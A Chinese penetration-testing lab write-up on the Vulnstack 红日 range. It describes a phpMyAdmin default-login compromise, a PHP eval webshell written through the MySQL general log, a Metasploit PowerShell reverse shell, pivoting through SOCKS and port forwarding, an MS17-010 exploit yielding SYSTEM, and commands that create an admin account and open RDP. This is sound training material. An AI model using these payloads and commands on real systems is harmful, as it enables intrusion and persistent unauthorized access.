目录
搭建环境问题
靶场环境
web 渗透
登录 phpmyadmin 应用
探测版本
写日志获得 webshell
写入哥斯拉 webshell
上线到 msf
内网信息收集
主机发现
流量转发
端口扫描
开启 socks 代理
服务探测
getshell 内网主机
浏览器配置 socks 代理
21 ftp
6002/7002 http
8099 IIS
139/445 smb
创建用户和开启 3389
远程桌面连接
这是一篇我渗透第一个红日靶场的笔记,记录其中使用到的技术。
搭建环境问题
本来想用 CS 完成后渗透,但是发现在基于主机模式网卡搭建的环境下,搭建的 CS 服务器有问题,具体表现是 beacon 无法上线到 CS 服务器,CS 客户端的 target 列表一片空白:
具体原因应该是跟网卡的模式有关,在 NAT 或桥接模式下运行的 CS 服务器倒是能正常工作。然而,发现在网卡为 NAT 模式下的机器能访问网卡为主机模式的机器,导致不能模拟一个正常隔断的局域网。本来还想用桥接模式,又发现宿主机用了手机热点,切换为桥接模式的虚拟机无法获取 ip。最终,我选择用主机模式网卡搭建靶场环境,然后用 metasploit 完成后渗透。
靶场环境
web 渗透
登录 phpmyadmin 应用
首先是从 web 服务器开始渗透,访问 192.168.17.141 网站:
phpstudy 搭建的 web 服务器,在网站目录下有个 phpmyadmin 入口,因为我知道 phpstudy 自带这么一个目录,所以手动访问了该路径(正常的渗透流程应该用工具扫描目录):
这种第三方应用一般会有一个默认账号,phpmyadmin 的是 root/root,输入并登录,进入系统:
探测版本
phpmyadmin 曝出过很多漏洞,网上很多利用方法,参考文章:最全phpmyadmin漏洞汇总
按照文章提供的技巧,先访问某些文件以查看 phpmyadmin 的版本号,比如 /phpmyadmin/readme:
根据这个版本号找对应的漏洞。我对了所有漏洞的版本范围,没有一个对的上,幸好还有一种方法 getshell:通过写入日志文件把 webshell 写入到网站目录下。
写日志获得 webshell
在写日志之前,首先需要知道网站目录的绝对路径,这一点可以在 phpstudy 探针页面看到:
现在可以在 phpmyadmin 的 SQL 功能页面写入日志了,按顺序执行以下语句:
# 开启日志记录
set global general_log = 'on';
# 日志文件的路径
set global general_log_file = 'C:/phpstudy/WWW/shell.php';
# 执行 SQL 语句,被记录到日志文件中
select "<?php @eval($_GET[x]);?>";
点击 go 执行:
访问日志文件 shell.php:
看到这样的结果,说明 webshell 已经成功写入到网站目录下。
写入哥斯拉 webshell
一句话木马不方便后续的操作,比如命令执行和上线等等,所以写入一个哥斯拉的 webshell。(其实,为了避开可能存在的杀软,应该直接写入哥斯拉 webshell ,而不是一句话木马)
主要的思路是通过一句话木马执行 file_put_contents() 函数,将哥斯拉 webshell 写入网站目录下,这些步骤我就省略了。
最后,连接哥斯拉 webshell:
上线到 msf
先看看当前 webshell 能不能执行命令:
能执行。接下来,在 msfconsole 控制台操作,使用 exploit/multi/script/web_delivery 模块分发 payload。用这种方法上线的原因是 web 服务器运行在 windows 系统上,用 powershell 直接下载 payload 并执行,效率比较高,只需要一条命令。
msfconsole 开启分发 payload 的 web 服务器:
use exploit/multi/script/web_delivery
set TARGET PSH
set PAYLOAD payload/windows/powershell_reverse_tcp
set LHOST 192.168.70.128 # 设置监听器的 ip 地址
set LPORT 2333 # 设置监听器的端口
run
复制给出的 powershell 语句在哥斯拉 webshell 执行:
回到 msfconsole 就会发现成功接收到的反弹 shell:
基于 powershell 的 shell 不太好用,可以利用它升级为 meterpreter,命令是 sessions -u <id>
内网信息收集
主机发现
在刚得到的 meterpreter 中收集网卡信息:
meterpreter > ifconfig
...
Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:a7:c1:a8
MTU : 1500
IPv4 Address : 192.168.70.129
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::fcff:cf71:1487:9c27
IPv6 Netmask : ffff:ffff:ffff:ffff::
...
Interface 26
============
Name : Intel(R) PRO/1000 MT Network Connection #3
Hardware MAC : 00:0c:29:a7:c1:b2
MTU : 1500
IPv4 Address : 192.168.17.141
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::28cf:4f8a:48f2:7a90
IPv6 Netmask : ffff:ffff:ffff:ffff::
有两张不同网段的网卡,192.168.70.129 是对外开放的 ip 地址,也就是 web 服务器的地址,而 192.168.17.141 是该主机在内部局部网的 ip 地址。
用 post/windows/gather/arp_scanner 模块扫描局域网内的存活主机:
msf6 > use post/windows/gather/arp_scanner
msf6 post(windows/gather/arp_scanner) > set SESSION 2
SESSION => 2
msf6 post(windows/gather/arp_scanner) > set RHOSTS 192.168.17.0/24
RHOSTS => 192.168.17.0/24
msf6 post(windows/gather/arp_scanner) > options
Module options (post/windows/gather/arp_scanner):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.17.0/24 yes The target address range or CIDR identifier
SESSION 2 yes The session to run this module on.
THREADS 10 no The number of concurrent threads
msf6 post(windows/gather/arp_scanner) > run
[*] Running module against STU1
[*] ARP Scanning 192.168.17.0/24
[+] IP: 192.168.17.1 MAC 00:50:56:c0:00:01 (VMware, Inc.)
[+] IP: 192.168.17.10 MAC 00:0c:29:3f:5d:a9 (VMware, Inc.)
[+] IP: 192.168.17.100 MAC 00:0c:29:6d:39:34 (VMware, Inc.)
[+] IP: 192.168.17.141 MAC 00:0c:29:a7:c1:b2 (VMware, Inc.)
[+] IP: 192.168.17.254 MAC 00:50:56:e5:cc:ad (VMware, Inc.)
[+] IP: 192.168.17.255 MAC 00:0c:29:a7:c1:b2 (VMware, Inc.)
[*] Post module execution completed
192.168.17.0/24 网段内存活的主机有 6 个,去掉主机号为 1、254 和 255 的机器(这几个 ip 一般不是提供服务的主机),总共有 3 个主机在线,再去掉当前主机的 141,剩下两个就是其他提供服务的主机。
PS:arp 扫描需要管理员权限。
流量转发
将某个 meterpreter 所控制的主机作为流量转发的中转(pivot),使用的模块是 post/multi/manage/autoroute。
执行命令:
msf6 post(windows/gather/arp_scanner) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 2 # 设置作为中转的会话
SESSION => 2
msf6 post(multi/manage/autoroute) > options
Module options (post/multi/manage/autoroute):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD autoadd yes Specify the autoroute command (Accepted: add, autoadd, print, delete, default)
NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
SESSION 2 yes The session to run this module on.
SUBNET no Subnet (IPv4, for example, 10.10.10.0)
msf6 post(multi/manage/autoroute) > run
[!] SESSION may not be compatible with this module (incompatible session platform: windows)
[*] Running module against STU1
[*] Searching for subnets to autoroute.
[+] Route added to subnet 169.254.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 192.168.17.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.70.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
从 Session 2(也就是 meterpreter)自动获取所控制主机上的网段信息,添加到当前路由表。查看现在的路由表:
msf6 post(multi/manage/autoroute) > set CMD print
CMD => print
msf6 post(multi/manage/autoroute) > run
[!] SESSION may not be compatible with this module (incompatible session platform: windows)
[*] Running module against STU1
[*]
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
169.254.0.0 255.255.0.0 Session 2
192.168.17.0 255.255.255.0 Session 2
192.168.70.0 255.255.255.0 Session 2
[*] There are currently no IPv6 routes defined.
[*] Post module execution completed
这个像路由表的列表的含义是所有 metasploit 模块发送的流量的目标 ip 地址,如果属于 Subnet 里面的网段,就由 Gateway 指定的 Session 进行转发。
那么,之后的端口扫描就可以针对内部局域网 192.168.17.0/24 进行扫描了。
端口扫描
对 192.168.17.100 这台主机的前 10000 个端口进行扫描。为什么只扫描前 10000 个端口呢?因为一般服务所使用的端口集中在这范围里面,而端口扫描需要很多时间,所以暂时不浪费大量时间去扫描高位端口,除非实在没有可攻击的服务。
执行命令:
msf6 post(multi/manage/autoroute) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.17.100
RHOSTS => 192.168.17.100
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 5
THREADS => 5
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.17.100: - 192.168.17.100:21 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:139 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:135 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:445 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:777 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:1025 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:1040 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:1041 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:1043 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:6002 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:7001 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:7002 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:8099 - TCP OPEN
[+] 192.168.17.100: - 192.168.17.100:8098 - TCP OPEN
扫描另一台主机 192.168.17.10 的操作同上,这里就省略了。
开启 socks 代理
因为探测开放端口上的服务信息需要用到 nmap,而 nmap 不属于 metasploit 的模块,无法通过 session 进行流量转发。因此,需要开启一个 socks 代理服务器。使用到的模块:auxiliary/server/socks_proxy,执行以下命令:
msf6 auxiliary(scanner/portscan/tcp) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Proxy password for SOCKS5 listener
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on
USERNAME no Proxy username for SOCKS5 listener
VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 2.
[*] Starting the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
1 Exploit: multi/script/web_delivery windows/powershell_reverse_tcp tcp://192.168.70.128:4444
2 Auxiliary: server/socks_proxy
第二个 job 表明已经开启了 socks 代理。在 socks_proxy 模块的 options 里面描述了 socks 代理服务器的地址、端口和 socks 协议的版本,利用这些信息配置 proxychains,在命令行下执行:
echo "socks5 127.0.0.1 1080" > /etc/proxychains4.conf
cat /etc/proxychains4.conf
...
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
将代理配置添加到 proxychains.conf 文件的末尾中,这样就配置成功了。
服务探测
用 nmap 扫描 192.168.17.100 主机上开放端口的服务:
proxychains nmap -sT -Pn -sV 192.168.17.100 -p 21,139,135,445,777,1025,1040,1041,1043,6002,7001,7002,8099,8098
需要注意的是,nmap 对代理的支持有限,很多协议不支持代理。所以,这里用 -sT 指定只用 TCP 全连接扫描,-Pn 取消主机发现,即不发送 ICMP、ARP 等报文(因为前面说的 nmap 不支持)。具体问题的描述参考 StackOverflow 的回答:How to use nmap through proxychains?
ok,执行上面的命令得到类似如下的结果:
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
777/tcp open multiling-http?
1025/tcp open msrpc Microsoft Windows RPC
1040/tcp open msrpc Microsoft Windows RPC
1041/tcp open msrpc Microsoft Windows RPC
1043/tcp open msrpc Microsoft Windows RPC
6002/tcp open http SafeNet Sentinel Protection Server 7.3
7001/tcp open tcpwrapped
7002/tcp open http SafeNet Sentinel Keys License Monitor httpd 1.0 (Java Console)
8098/tcp open ssl/unknown
8099/tcp open http Microsoft IIS httpd 6.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port777-TCP:V=7.91%I=7%D=8/13%Time=64D8918A%P=x86_64-pc-linux-gnu%r(Ter
SF:minalServerCookie,A,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(Kerberos,5,"\
SF:x01\0\t\xe0\x06")%r(SMBProgNeg,5,"\x01\0\t\xe0\x06")%r(TerminalServer,A
SF:,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(WMSRequest,5,"\x01\0\t\xe0\x06");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003
在 nmap 扫描结果中,比较感兴趣的端口有 21 ftp、139/445 smb、6002/7002 http 和 8099 IIS,对这些服务逐个进行测试,看看能够获取目标主机的权限。
getshell 内网主机
浏览器配置 socks 代理
配置的是 metasploit 开启的 socks 代理服务器。
21 ftp
在浏览器地址栏输入 ftp://192.168.17.100 并访问:
没有文件和目录。
题外话:本来我想将目标端口映射到本地,再用 ftp 客户端访问,也就是将 192.168.17.100 的 20 和 21 端口映射到 kali 上的 20 和 21 端口。然而,尽管 ftp 客户端能连接上并匿名登录,却无法传输数据。我猜想是跟 ftp 的数据传输机制有关,因为 ftp 另外建立了一条数据通道(协议详解参考FTP 文件传送协议_《TCP/IP详解 卷1:协议》)。至于,怎么将目标端口映射到本地,后面会介绍。
6002/7002 http
这个网站用 SafeNet Sentinel Protection Server 7.3 搭建,网上有关于它的 CVE 和 exp,参考:SafeNet Sentinel Protection Server 7.0 < 7.4 / Sentinel Keys Server 1.0.3 < 1.0.4 - Directory Traversal,是一个目录穿越导致任意文件下载的漏洞,但是我没有利用成功。所以,这一步测试就省略了。
不过,在测试该漏洞的过程中,发现 burpsuite 也可以用 socks 代理:
那么,我们可以把浏览器的代理配置改为 burpsuite 的 http 127.0.0.1:8080, 之后 burpsuite 就会拦截从浏览器发出的、经过 socks 代理转发的流量了。
8099 IIS
这个网站要求 https 访问,具体访问路径是 https://192.168.17.100:8098,不过需要 http basic auth 认证:
用 auxiliary/scanner/http/http_login 模块尝试暴力破解,但没有成功。看了一下服务器的 IIS 配置:
仅用户名就不容易猜对了。
139/445 smb
139 端口运行的是基于 NetBIOS 会话服务的 smb,445 端口运行的是基于 CIFS 的 smb,不依赖于 NetBIOS,两个端口都是 smb,不过一般攻击的是 445 端口。
smb 版本探测:
msf6 auxiliary(scanner/http/http_login) > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.17.100
RHOSTS => 192.168.17.100
msf6 auxiliary(scanner/smb/smb_version) > run
^M
[*] 192.168.17.100:445 - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[+] 192.168.17.100:445 - Host is running Windows 2003 (build:3790) (name:ROOT-TVI862UBEH) (domain:GOD)
[*] 192.168.17.100: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
目标系统是 Windows Server 2003,在 ms17_010 漏洞的版本范围内,可以尝试攻击:
msf6 auxiliary(scanner/smb/smb_version) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set RHOSTS 192.168.17.100
msf6 auxiliary(admin/smb/ms17_010_command) > set COMMAND whoami /all
COMMAND => whoami /all
msf6 auxiliary(admin/smb/ms17_010_command) > run
[-] 192.168.17.100:445 - Rex::Proto::SMB::Exceptions::LoginError: Login Failed: execution expired
[*] 192.168.17.100:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/smb/ms17_010_command) > run
msf6 auxiliary(admin/smb/ms17_010_command) > run
[*] 192.168.17.100:445 - Target OS: Windows Server 2003 3790
[*] 192.168.17.100:445 - Filling barrel with fish... done
[*] 192.168.17.100:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.17.100:445 - [*] Preparing dynamite...
[*] 192.168.17.100:445 - Trying stick 1 (x64)...Miss
[*] 192.168.17.100:445 - [*] Trying stick 2 (x86)...Boom!
[*] 192.168.17.100:445 - [+] Successfully Leaked Transaction!
[*] 192.168.17.100:445 - [+] Successfully caught Fish-in-a-barrel
[*] 192.168.17.100:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.17.100:445 - Reading from CONNECTION struct at: 0x8d04ad60
[*] 192.168.17.100:445 - Built a write-what-where primitive...
[+] 192.168.17.100:445 - Overwrite complete... SYSTEM session obtained!
[+] 192.168.17.100:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.17.100:445 - Getting the command output...
[*] 192.168.17.100:445 - Executing cleanup...
[+] 192.168.17.100:445 - Cleanup was successful
[+] 192.168.17.100:445 - Command completed successfully!
[*] 192.168.17.100:445 - Output for "whoami /all":
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
GROUP INFORMATION
... // 省略
漏洞利用成功并执行 whoami /all 命令。
注意:漏洞利用模块执行不稳定,建议尝试多执行几次。
创建用户和开启 3389
通过 ms17_010 命令执行漏洞在目标主机创建管理员用户和开启 3389 远程桌面。
创建用户的相关命令:
net user <用户名> <密码> /add # 创建账户,$ 隐藏账户,密码在 Windows Server 上需要满足一定的复杂度
net localgroup administrators <用户名> /add
net user <用户名>
开启 3389 远程桌面的相关命令:
# 若字段值为0,则表示已启动RDP;若为1,则表示禁用RDP
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
# 开启远程桌面
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 关闭“仅允许运行使用网络级别身份验证的远程桌面的计算机连接”(鉴权)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
# 防火墙开放 3389 端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
需要注意的是,metasploit 对 set COMMAND 提供的参数会转义一次,所以给 ms17_010_command 模块设置命令 option 时,需要将引号和反斜杠前面添加转义符号,举个例子:
set COMMAND reg add \"HKLM\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f
远程桌面连接
192.168.17.100 主机的 3389 端口开启后,如何连接呢?Windows 攻击机可以选择用 proxifier 代理工具,配置前面 metasploit 开启的 socks 代理服务器(端口 1080),不过我选择将目标端口映射到本地的方法。
在 msfconsole 下执行:
msf6 post(multi/manage/autoroute) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.17.100
[*] Local TCP relay created: :3389 <-> 192.168.17.100:3389
meterpreter > portfwd
Active Port Forwards
====================
Index Local Remote Direction
----- ----- ------ ---------
1 192.168.17.100:3389 0.0.0.0:3389 Forward
1 total active port forwards.
portfwd 命令语句的含义是将远程主机 192.168.17.100(-r)的 3389 端口(-p)映射到本地的 3389 端口(-l)。Active Port Forwards 展示的列表中有点让人看不懂,Local 和 Remote 相反了,Local 是远程地址,Remote 则是本地地址。不管怎样,只需要知道发送给 0.0.0.0:3389 的流量将被转发到远程地址 192.168.17.100 的 3389 端口。
既然是转发,那肯定有个作为中转的“东西”,其实这里作为中转的正是前面配置流量转发所指定的 Session 2。
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
169.254.0.0 255.255.0.0 Session 2
192.168.17.0 255.255.255.0 Session 2
192.168.70.0 255.255.255.0 Session 2
也就是 meterpreter 控制的 web 服务器。
接着,便可以在 Windows 10 攻击机上远程桌面连接了:
ip 地址和端口是 kali 攻击机及其刚刚映射到本地的 3389 端口。
连接成功,输入密码就能登录进去系统。
题外话:我尝试用这篇文章介绍的技术将这台 Windows Server 2003 上线到 msf 的时候,发现无法创建 session,而 Windows Server 2008 则可以上线,具体原因可能是 Server 2003 台太老了,缺少一些程序。
至此,内网的第一台主机 Windows Server 2003(ip 地址为 192.168.17.100 )已经被攻陷。另一台主机 Windows Server 2008(ip 的地址为 192.168.17.10)也可以利用 ms17_010 漏洞获取访问权限。如果想尝试用 PTH 获取权限,具体操作参考这篇攻略:Vulnstack红日安全内网域渗透靶场1实战